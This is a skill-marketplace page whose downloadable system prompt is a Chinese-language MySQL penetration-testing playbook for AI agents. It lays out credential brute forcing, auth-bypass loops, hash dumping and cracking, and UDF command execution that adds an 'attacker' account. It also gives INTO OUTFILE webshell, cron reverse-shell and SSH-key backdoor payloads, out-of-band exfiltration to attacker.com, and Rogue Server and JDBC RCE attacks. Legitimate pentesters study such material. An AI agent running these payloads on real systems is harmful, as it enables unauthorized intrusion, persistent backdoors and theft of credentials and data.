開発
#agent
mysql-pentesting
MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。
DeepseekModel
キュレーション済みスキル
品質 優秀 · 90
v1.0.0
取得
https://deepseekmodel.com/api/download.php?id=wgpsec-aboutsecurity-skills-exploit-network-service-mysql-pentesting-skill-md&format=skill
ダウンロード .skill
標準形式。system_prompt と model_config を収録し、任意の Agent で利用可能
.skill ファイルの system_prompt フィールドの実際の内容。
name mysql-pentesting description MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。 metadata {"tags":["mysql","数据库","3306端口","udf提权","文件读写","sql注入"],"category":"exploit/network-service"} MySQL 渗透测试方法论 (3306) 深入参考 UDF 提权、文件读写、Rogue Server、JDBC 利用、哈希破解完整命令 -> 读 references/mysql-techniques.md 整体决策树 发现 3306 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ 确定 MySQL/MariaDB 版本 │ ├─ 识别操作系统与运行用户 │ └─ 检测 secure_file_priv / local_infile 配置 ├─ Phase 2: 认证测试 │ ├─ 匿名/空密码登录 │ │ ├─ 成功 -> 直接进入 Phase 3 │ │ └─ 失败 -> 默认凭据 -> 暴力破解 │ ├─ 默认凭据 (root:空, root:root, root:toor 等) │ └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x) ├─ Phase 3: 数据库枚举 │ ├─ 库/表/列枚举 (information_schema) │ ├─ 权限枚举 (SHOW GRANTS / mysql.user) │ │ ├─ FILE 权限 -> 进入 Phase 4 文件读写 │ │ ├─ SUPER 权限 -> 进入 Phase 4 UDF │ │ └─ 普通权限 -> 提取敏感数据,尝试密码复用 │ └─ 用户哈希提取 (mysql.user / mysql_hashdump) ├─ Phase 4: 权限提升 │ ├─ UDF 提权 (lib_mysqludf_sys) │ │ ├─ Linux: .so 加载 -> sys_exec() │ │ └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建 │ ├─ 文件读写 │ │ ├─ LOAD_FILE() 读取系统文件 │ │ ├─ INTO OUTFILE 写入 Webshell / .pth payload │ │ └─ LOAD DATA LOCAL INFILE (客户端文件读取) │ └─ MySQL 客户端 Shell (\! sh) ├─ Phase 5: MySQL 注入利用 │ ├─ UNION 注入 -> 信息泄露 / 文件读写 │ ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带 │ └─ Rogue MySQL Server -> 客户端文件窃取 └─ Phase 6: 已知漏洞 ├─ CVE-2012-2122 — 认证绕过 (memcmp timing) ├─ CVE-2023-21971 — JDBC propertiesTransform RCE └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端 Phase 1: 服务发现与版本识别 1.1 端口扫描与版本探测 # Nmap 服务版本探测 + MySQL 专项脚本 nmap -sV -p 3306 --script mysql-info,mysql-enum <IP> # Nmap 全量 MySQL 脚本扫描 nmap -sV -p 3306 --script "mysql-*" <IP> 1.2 Metasploit 版本探测 msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit' 1.3 运行用户与关键配置 识别 MySQL 运行身份 ├─ 本地 Shell 已获取 │ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user" │ ├─ systemctl status mysql | grep "user" │ └─ ps aux | grep mysql └─ 仅 MySQL 连接 ├─ SELECT @@version, @@datadir, @@basedir; ├─ SHOW VARIABLES LIKE 'secure_file_priv'; ├─ SHOW VARIABLES LIKE 'local_infile'; └─ SHOW VARIABLES LIKE 'plugin_dir'; 关键判断 : secure_file_priv 为空 -> 可任意路径读写文件 local_infile 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面 MySQL 以 root 运行 -> UDF 提权后直接获取系统 root Phase 2: 认证测试 2.1 认证决策树 尝试连接 MySQL ├─ 1) 匿名/空密码 │ ├─ mysql -h <IP> -u root │ ├─ mysql -h <IP> -u root@localhost │ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP> ├─ 2) 默认凭据 │ ├─ root:(空) / root:root / root:toor / root:mysql │ ├─ admin:admin / test:test / guest:guest │ └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取) ├─ 3) CVE-2012-2122 认证绕过 │ ├─ MariaDB / MySQL 5.1.x 受影响 │ ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过 │ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump ├─ 4) 暴力破解 │ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql │ └─ Metasploit: auxiliary/scanner/mysql/mysql_login └─ 5) 本地提权路径 ├─ /etc/mysql/debian.cnf 明文密码 ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件 └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录 2.2 本地 Socket 认证检测 当已获取目标 Shell 时,本地 socket 是最快的突破口: # 检测 socket 文件 ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null # 检测凭据文件 ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null # auth_socket 插件 -> OS 用户直接映射为 DB 用户 mysql -S /run/mysqld/mysqld.sock -u root -e \ "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null Phase 3: 数据库枚举 3.1 基础枚举 # 连接后执行 show databases; use <database>; show tables; describe <table_name>; select version(); select user(); select database(); 3.2 权限枚举决策树 检查当前权限 ├─ SHOW GRANTS FOR CURRENT_USER(); ├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER(); ├─ 检查 FILE 权限 │ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 文件读写 │ └─ 无 -> 尝试其他提权路径 ├─ 检查 SUPER 权限 │ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 UDF │ └─ 无 -> 检查 CREATE/INSERT 等组合权限 └─ 自定义函数检查 ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys'; └─ 存在非系统函数 -> 可能已有 UDF 后门 3.3 用户哈希提取 # 从 MySQL 内部提取 SELECT user,authentication_string FROM mysql.user; # Metasploit 自动化 msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' # 从本地文件提取 (已获 Shell) grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" 3.4 Metasploit 自动枚举 msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' Phase 4: 权限提升 4.1 UDF 提权决策树 MySQL 以高权限运行 + 拥有 FILE/SUPER 权限 ├─ 获取 plugin_dir 路径 │ └─ SHOW VARIABLES LIKE '%plugin%'; ├─ 获取 UDF 库文件 │ ├─ sqlmap: locate "*lib_mysqludf_sys*" │ ├─ Metasploit: locate "*lib_mysqludf_sys*" │ └─ 手动编译 raptor_udf2.c ├─ Linux (.so) │ ├─ 通过 table blob 中转写入 plugin_dir │ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; │ └─ SELECT sys_exec('reverse shell command'); ├─ Windows (.dll) │ ├─ 同上,使用 .dll 文件 │ ├─ plugin_dir 不存在? -> NTFS ADS 创建目录 │ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION'; │ └─ SELECT sys_exec("net user attacker P@ss /add"); └─ 利用后清理 └─ DROP FUNCTION sys_exec; -> 读 references/mysql-techniques.md 获取完整 UDF 步骤 4.2 文件读写决策树 拥有 FILE 权限 + secure_file_priv 不限制 ├─ 读取文件 │ ├─ SELECT LOAD_FILE('/etc/passwd'); │ ├─ SELECT LOAD_FILE('/etc/shadow'); # 需 mysql 用户有读权限 │ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt'); ├─ 写入文件 │ ├─ Webshell │ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php'; │ ├─ Python .pth RCE │ │ ├─ 写入 .pth 到 site-packages 目录 │ │ ├─ .pth 中 import 语句自动执行 │ │ └─ 触发: 请求任意 Python CGI 脚本 │ ├─ SSH 公钥写入 │ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys'; │ └─ Cron Job 写入 │ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor'; ├─ 二进制数据写入 │ ├─ CONVERT(unhex("..."), BINARY) │ └─ CONVERT(from_base64("..."), BINARY) └─ 限制 ├─ INTO OUTFILE 不能覆盖已有文件 └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整 4.3 LOAD DATA LOCAL INFILE (客户端文件读取) Rogue MySQL Server 攻击 ├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件 ├─ 前提: 客户端 local_infile=ON (许多客户端默认开启) ├─ 工具 │ ├─ Rogue-MySql-Server (Python) │ └─ mysql-fake-server (Java) ├─ 攻击流程 │ ├─ 启动 Rogue Server 监听 3306 │ ├─ 诱使目标连接 (DNS 劫持 / 配置篡改) │ └─ 自动读取客户端本地文件 (/etc/passwd 等) └─ JDBC 扩展 ├─ allowLoadLocalInfile=true -> 文件读取 └─ autoDeserialize=true -> 反序列化 RCE 4.4 MySQL 客户端 Shell # 已连接到 MySQL 后,直接获取当前用户 Shell \! sh \! bash \! id Phase 5: MySQL 注入利用 5.1 注入决策树 发现 MySQL 注入点 ├─ UNION 注入 │ ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,... │ ├─ 信息收集: version(), user(), database() │ ├─ 数据提取 │ │ ├─ UNION SELECT table_name FROM information_schema.tables │ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...' │ └─ 文件操作 (需 FILE 权限) │ ├─ UNION SELECT LOAD_FILE('/etc/passwd') │ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php' ├─ 报错注入 │ ├─ extractvalue(1, concat(0x7e, (SELECT ...))) │ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1) ├─ 盲注 │ ├─ 布尔盲注: AND (SELECT ...) = 1 │ └─ 时间盲注: AND IF(..., SLEEP(5), 0) ├─ 带外注入 (OOB) │ └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a')); └─ 空格绕过 ├─ /**/ 注释替换 ├─ /*!*/ 版本注释 └─ %09 / %0a / %0d 替代空格 Phase 6: 已知漏洞 6.1 漏洞检测决策树 MySQL 版本已知 ├─ MySQL 5.1.x / MariaDB 特定版本 │ └─ CVE-2012-2122 认证绕过 │ ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done ├─ MySQL Connector/J <= 8.0.32 │ └─ CVE-2023-21971 (propertiesTransform RCE) │ ├─ 前提: 可控制 JDBC 连接字符串 │ └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil ├─ 客户端连接 JDBC │ ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取 │ └─ autoDeserialize=true -> Rogue Server 反序列化 RCE ├─ Windows 目标 │ └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行) └─ 通用检测 └─ nmap -sV -p 3306 --script mysql-vuln* <IP> 6.2 哈希破解 提取到 MySQL 哈希 ├─ mysql_native_password (MySQL 5.x) │ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha1 hashes.txt ├─ caching_sha2_password (MySQL 8.x) │ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha2 hashes.txt └─ 旧版 MySQL 3.x/4.x └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt 后渗透 — 本地审计检查清单 获取 Shell 后对 MySQL 配置的快速审计: 检查项 风险说明 secure_file_priv = "" 允许任意路径文件读写 local_infile = ON LOAD DATA LOCAL 可用,Rogue Server 攻击面 MySQL 以 root 运行 UDF 提权直接获取系统 root /etc/mysql/debian.cnf 可读 含 debian-sys-maint 明文密码 ~/.my.cnf / ~/.mylogin.cnf 存在 含用户凭据 auth_socket 插件启用 本地 socket 无密码登录 skip-networking 未设置 远程连接可用 关键配置文件路径 Linux ├─ /etc/my.cnf ├─ /etc/mysql/my.cnf ├─ /var/lib/mysql/my.cnf ├─ ~/.my.cnf ├─ ~/.mysql_history # 命令历史 └─ /var/lib/mysql/mysql/user.MYD # 用户哈希 Windows ├─ C:\Windows\my.ini ├─ C:\MySQL\data\ └─ <InstDir>\mysql\data\ -> 读 references/mysql-techniques.md 获取完整技术细节与命令参考
このスキルを起動するキーワード。クリックでコピーできます。
このスキルにはトリガーワードがありません。
ダウンロードした .skill に含まれるフィールド。
| フィールド | 説明 |
|---|---|
| format | フォーマット識別子(skill/v1) |
| skill_id | スキル固有 ID |
| name | スキル名 |
| version | バージョン |
| description | 説明 |
| category | カテゴリ(配列) |
| trigger_words | トリガーワード |
| tags | タグ |
| source | ソース |
| source_url | ソース URL(本ページ) |
| exported_at | エクスポート日時(ダウンロード毎) |
| system_prompt | システムプロンプト本文 |
| model_config | モデル設定:provider / model / temperature / max_tokens / top_p |
| examples | サンプル |
| install_guide | 各プラットフォームの導入説明(Coze / Dify / Claude / カスタム) |